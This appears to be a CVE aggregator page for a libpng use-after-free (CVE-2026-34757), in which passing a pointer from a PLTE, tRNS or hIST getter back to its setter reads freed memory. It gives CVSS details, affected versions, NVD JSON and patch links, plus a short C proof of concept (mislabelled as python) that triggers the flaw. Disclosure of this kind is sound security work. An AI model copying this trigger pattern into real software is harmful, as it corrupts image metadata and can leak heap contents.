Security Vulnerability Report
中文
CVE-2026-34757 CVSS 5.1 MEDIUM

CVE-2026-34757

Published: 2026-04-09 15:16:11
Last Modified: 2026-05-13 23:07:52

Description

LIBPNG is a reference library for use in applications that read, create, and manipulate PNG (Portable Network Graphics) raster image files. From 1.0.9 to before 1.6.57, passing a pointer obtained from png_get_PLTE, png_get_tRNS, or png_get_hIST back into the corresponding setter on the same png_struct/png_info pair causes the setter to read from freed memory and copy its contents into the replacement buffer. The setter frees the internal buffer before copying from the caller-supplied pointer, which now dangles. The freed region may contain stale data (producing silently corrupted chunk metadata) or data from subsequent heap allocations (leaking unrelated heap contents into the chunk struct). This vulnerability is fixed in 1.6.57.

CVSS Details

CVSS Score
5.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:libpng:libpng:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:* - VULNERABLE
LibPNG >= 1.0.9, < 1.6.57

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <png.h> #include <stdio.h> /* * PoC for CVE-2026-34757 * This code demonstrates the Use-After-Free vulnerability in LibPNG. * It passes a pointer obtained from png_get_PLTE directly to png_set_PLTE, * causing the setter to read from freed memory. */ int main(int argc, char **argv) { if (argc < 2) { printf("Usage: %s <png_file>\n", argv[0]); return 1; } FILE *fp = fopen(argv[1], "rb"); if (!fp) return 1; png_structp png_ptr = png_create_read_struct(PNG_LIBPNG_VER_STRING, NULL, NULL, NULL); if (!png_ptr) return 1; png_infop info_ptr = png_create_info_struct(png_ptr); if (!info_ptr) { png_destroy_read_struct(&png_ptr, NULL, NULL); return 1; } png_init_io(png_ptr, fp); png_read_png(png_ptr, info_ptr, PNG_TRANSFORM_EXPAND, NULL); png_colorp palette; int num_palette; // Get the palette pointer from the internal structure if (png_get_PLTE(png_ptr, info_ptr, &palette, &num_palette)) { printf("Palette found. Attempting to trigger UAF...\n"); // VULNERABILITY: Passing the internal pointer back to the setter. // The setter will free the buffer pointed to by 'palette' and then // attempt to read from it, causing a Use-After-Free. png_set_PLTE(png_ptr, info_ptr, palette, num_palette); printf("UAF Triggered. Check for memory corruption or leaks.\n"); } png_destroy_read_struct(&png_ptr, &info_ptr, NULL); fclose(fp); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34757", "sourceIdentifier": "[email protected]", "published": "2026-04-09T15:16:11.003", "lastModified": "2026-05-13T23:07:51.863", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LIBPNG is a reference library for use in applications that read, create, and manipulate PNG (Portable Network Graphics) raster image files. From 1.0.9 to before 1.6.57, passing a pointer obtained from png_get_PLTE, png_get_tRNS, or png_get_hIST back into the corresponding setter on the same png_struct/png_info pair causes the setter to read from freed memory and copy its contents into the replacement buffer. The setter frees the internal buffer before copying from the caller-supplied pointer, which now dangles. The freed region may contain stale data (producing silently corrupted chunk metadata) or data from subsequent heap allocations (leaking unrelated heap contents into the chunk struct). This vulnerability is fixed in 1.6.57."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libpng:libpng:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.9", "versionEndExcluding": "1.6.57", "matchCriteriaId": "00103425-8DFF-4046-9913-8A4EA9B208C0"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*", "matchCriteriaId": "FA6FEEC2-9F11-4643-8827-749718254FED"}]}]}], "references": [{"url": "https://github.com/pnggroup/libpng/commit/398cbe3df03f4e11bb031e07f416dfdde3684e8a", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pnggroup/libpng/commit/55d20aaa322c9274491cda82c5cd4f99b48c6bcc", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pnggroup/libpng/issues/836", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Mitigation"]}, {"url": "https://github.com/pnggroup/libpng/issues/837", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Mitigation"]}, {"url": "https://github.com/pnggroup/libpng/security/advisories/GHSA-6fr7-g8h7-v645", "source": "[email protected]", "tags": ["Mitigation", "Patch", "Vendor Advisory"]}, {"url": "https://lists.debian.org/debian-lts-announce/2026/05/msg00017.html", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}